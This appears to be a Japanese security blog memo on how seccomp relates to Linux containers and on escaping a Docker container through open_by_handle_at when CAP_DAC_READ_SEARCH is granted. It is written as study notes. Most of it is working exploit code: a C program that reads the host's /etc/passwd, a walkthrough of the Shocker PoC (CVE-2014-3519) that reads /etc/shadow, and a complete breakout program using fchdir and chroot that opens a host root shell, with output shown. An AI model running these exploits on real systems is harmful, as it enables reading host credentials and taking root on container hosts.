俺たちの夏休みはこれからだ!(今日が最終日)
前回は ptrace を使用して seccomp による制限を回避してみた 。
今回は seccomp とコンテナの関係、コンテナからホストへの break out についてのメモです。メモなので雑に書いています。
コンテナと seccomp
LXC や Docker でも seccomp が利用されており、コンテナを break out する危険があるようなシステムコールを禁止している。
LXCでは非常に小さなポリシーとなっている(これとは別でどこかで自動生成されているのかな…?)
2
blacklist
reject_force_umount # comment this to allow umount -f; not recommended
[all]
kexec_load errno 1
open_by_handle_at errno 1
init_module errno 1
finit_module errno 1
delete_module errno 1
カーネルに関する kexec_load
や *_module
などが禁止されていることが分かる。
Docker はいろいろ禁止されている。
この中で出てくる open_by_handle_at
とは、どういったシステムコールなのだろうか?
CAP_DAC_READ_SEARCH
と open_by_handle_at
Linux におけるケーパビリティには色々あるが、 CAP_DAC_READ_SEARCH
と呼ばれるものがあり、これはファイルの読み出し権限のチェックとディレクトリの読み出しと実行の権限チェックをバイパスするもので、 open_by_handle_at
はこれを必要とする。
雑に言うと、コンテナ内で open_by_handle_at
によって bind mount されているホスト側のファイルを掴み、それを利用してホスト側の他のファイルにもアクセスすることができる。
open_by_handle_at
の定義は以下。
int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);
mount_fd
: マウントされたファイルシステム内におけるファイルディスクリプタfile_handle
: file_handle 構造体flags
:open(2)
と同じ
file_hadnle
構造体は以下のような定義となっている。
struct file_handle {
unsigned int handle_bytes; /* Size of f_handle [in, out] */
int handle_type; /* Handle type [out] */
unsigned char f_handle[0]; /* File identifier (sized by caller) [out] */
};
f_handle[0]
は全部で8bitで先頭4bitが inode を、後半 4bitが generation number を表す。
この open_by_handle_at
を利用してホスト側のファイルを読み出したり、シェルを取得したりしてみる。
環境
CAP_DAC_READ_SEARCH
を許可した状態で試す必要がある。
$ docker run -rm -ti --cap-add=DAC_READ_SEARCH centos:7 /bin/bash
or
$ docker run -rm -ti --privileged centos:7 /bin/bash
ホスト側のファイルを読み出してみる
open_by_handle_at
を利用してホスト側の /etc/passwd
をコンテナ内から読み出してみる。
まずはホストの /etc/passwd
の inode 番号を調べてみる。
$ stat /etc/passwd
File: '/etc/passwd'
Size: 1798 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 57690 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2018-08-14 11:56:58.112000000 +0000
Modify: 2018-06-27 12:07:24.368738000 +0000
Change: 2018-06-27 12:07:24.368738000 +0000
Birth: -
inode 番号は 57690
であることがわかる。これを Hex に変換して file_handle
構造体の f_handle[0]
に与えればよい。
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
void die(const char *msg)
{
perror(msg);
exit(errno);
}
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
int main()
{
int fd1, fd2;
char buf[0x1000];
struct my_file_handle h = {
.handle_bytes = 8,
.handle_type = 1,
// 57690 = E1 5A
.f_handle = {0x5a, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
};
// $ mount
// /dev/sda1 on /etc/hosts type ext4 (rw,relatime,data=ordered)
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
die("failed to open");
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("failed to open_by_handle_at");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("failed to read");
fprintf(stderr, "%s", buf);
close(fd2);
close(fd1);
return 0;
}
これを実行すると /etc/passwd
を取得することができる。
root@container:/# gcc a.c
a.c: In function 'main':
a.c:41:3: warning: incompatible implicit declaration of built-in function 'memset'
memset(buf, 0, sizeof(buf));
^
root@container:/# ./a.out
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...(snip)...
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
colord:x:113:119:colord colour management daemon,,,:/var/lib/colord:/bin/false
また、 CAP_DAC_READ_SEARCH
を許可しない状態だと Operation not permitted で落ちて、アクセスできないことが確認できる。
root@container:/# ./a.out
failed to open_by_handle_at: Operation not permitted
コンテナから任意のファイルの inode を探索し内容を読み出す
ホストから読み出したいファイルの inode 番号が分からなければいけないのか、というとそうでもない。
多くの場合、/
(ルートディレクトリ) の inode は 2
であり、これを起点に走査していくことで、任意のファイルの inode を取得できる。
$ stat /
File: '/'
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 801h/2049d Inode: 2 Links: 26
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2018-08-15 06:35:07.118000000 +0000
Modify: 2018-08-15 06:35:07.062000000 +0000
Change: 2018-08-15 06:35:07.062000000 +0000
Birth: -
これを利用したのが CVE-2014-3519 で shocker と呼ばれるもので、以下の PoC は /etc/shadow
を読み出すものである。
この内容をざっと見ていく。
まずは file_handle
構造体に走査する起点である /
(inode 番号は2) を指定する。
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
ホスト側からマウントされたファイルを開いてファイルディスクリプタを取得する。
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
/etc/shadow
を開くために inode などを検索、 file_handle
を取得する。
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
find_handle()
は以下のような定義になっている。
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
ここでは再帰的に呼ばれていて、まずは、ディレクトリであるかどうかを確認して、そのディレクトリ名を出力している。
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
対象の inode が見つかると再度 open_by_handle
を呼び出して、generation number を総当たりで確認していくが、0
で問題ないっぽいので一瞬で終わる。
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
最後に無事対象のファイルのパスを解決したら、データを読み出す。
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
ホスト側のシェルを取得する
この方法を利用してコンテナから root 権限のシェルを取得することができる。
ホスト側のファイルディスクリプタを掴んでいるので、fchdir
と chroot
を使うことで break out することができる。
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
#include <ctype.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
int main()
{
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
int fd, mfd;
mfd = open("/etc/hosts", 0);
if (mfd == -1)
die("failed to open");
fd = open_by_handle_at(mfd, (struct file_handle *)&root_h, 0);
if (fd == -1)
die("failed to open_by_handle_at");
printf("opened %d\n", fd);
fchdir(fd);
chroot(".");
system("sh -i");
close(fd);
return 0;
}
readlink /proc/$$/ns/mnt
の結果はホスト側は 4026531840
でコンテナ側は 4026532281
であることがわかる。
上記コードを実行するとコンテナを break out してホスト側のファイルシステムを自由に触れるようになる。
host:~# readlink /proc/$$/ns/mnt
mnt:[4026531840]
container:~# readlink /proc/$$/ns/mnt
mnt:[4026532281]
container:~# gcc test.c
container:~# ./a.out
opend 4
# whoami
root
# readlink /proc/$$/ns/mnt
mnt:[4026531840]
ところで、こういうコンテナからホストへ脱出するのって jailbreak, escape, break out のうちどれが適切なんですかね。
備考
ptrace を使用して seccomp による制限を回避してみる で書いたように、ptrace を使用することで seccomp による制限が回避可能であるため、これを組み合わせることで open_by_handle_at
が seccomp によって禁止されていても breakout 可能となる。
そのため、俗に言う Privileged なコンテナというのは安全ではない。
コンテナの Attack Surfaces は数多くあるため、 seccomp だけでなく AppArmor や Linux Capability などの機構を用いることで安全性を高めている。